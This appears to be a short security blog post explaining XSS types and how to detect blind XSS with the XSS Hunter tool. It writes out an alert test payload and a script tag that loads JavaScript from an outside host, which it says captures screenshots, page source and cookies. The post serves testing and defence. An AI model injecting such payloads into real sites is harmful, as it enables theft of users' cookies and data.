Although this is not a new concept, it was a new concept to myself and I thought that it would be worth sharing with others.

XSS

Cross-Site Scripting (XSS) is the ability to inject a malicious script into a web site. There are typically 3 types of XSS:

• Stored XSS
• Reflected XSS
• DOM based XSS

Stored XSS is stored within the system (for example in a backend database) and is displayed in subsequent pages which display the content with the XSS vulnerability in it. This could potentially affect many users (think for example a forum).

Reflected XSS is an XSS vulnerability where content is entered into a page and then reflected back on subsequent pages. For this type of XSS, phishing and social engineering would be required to successfully exploit any type of this vulnerability.

Lastly DOM based XSS vulnerabilities rely on modifying the DOM to inject the malicious script.

Blind XSS

Blind XSS is a bit different to detect. Typically when testing for XSS vulnerabilities, one attempts to inject the XSS payload (typically <script>alert(xss);</script>) in the fields of a form and then monitor the resulting response. If the payload appears in the response (and an alert box pops up) you have an XSS vulnerability.

This is all well and good with a basic and more traditional based web application. But with the likes of dynamic sites and a lot more focus on dynamic rendering of pages, this is no longer an efficient means of testing. Take for example the following. I visit a page and perform some sort of action (say view details of a person). One of the resulting queries which is triggered is a JSON request to a REST service, which simply returns a 200. The contents of this request include the details of the current user which performed the query. Since this is client side data, the user can modify this and inject a XSS payload (horrible I know, but bear with me). When this is submitted, the response will never contain information to indicate whether this request contains a potential XSS (it simply returns a 200). Finally the results (say an audit table) display who performed queries. And magically I find that I have alert boxes popping up. Turns out that there was indeed a XSS vulnerability in the auditing feature.

This becomes incredibly difficult to track. No scanner would be able to do this. And it would be cumbersome to have to attempt to inject payloads manually and try visit pages on the site to determine where these payloads might trigger. Also as more and more applications become integrated with other systems, we might even have the XSS payload being injected into our web app via another input source!

Detecting Blind XSS

So thankfully there are tools which can make this a lot easier to detect and deal with. While recently looking into an issue I looked at several tools, as well as toying with the idea of developing my own. I finally settled on using XSS Hunter. It is a fantastic tool. The way it works is you inject the payload as an external JavaScript tag (<script src=//yoursubdomain.xss.ht></script>). When a XSS vulnerability is present, this script will be executed by the client and the script payload will execute. The payload will take a screenshot of the page, as well as the HTML source, cookies (without HttpOnly set), and other useful information. You now have the ability to narrow down the XSS vulnerability when ever a user triggers it. The other great thing about the tool is that it has been open sourced so you can setup a private instance as well.

A special mention goes out to @dolyersec for pointing out the open source version of XSS Hunter to me.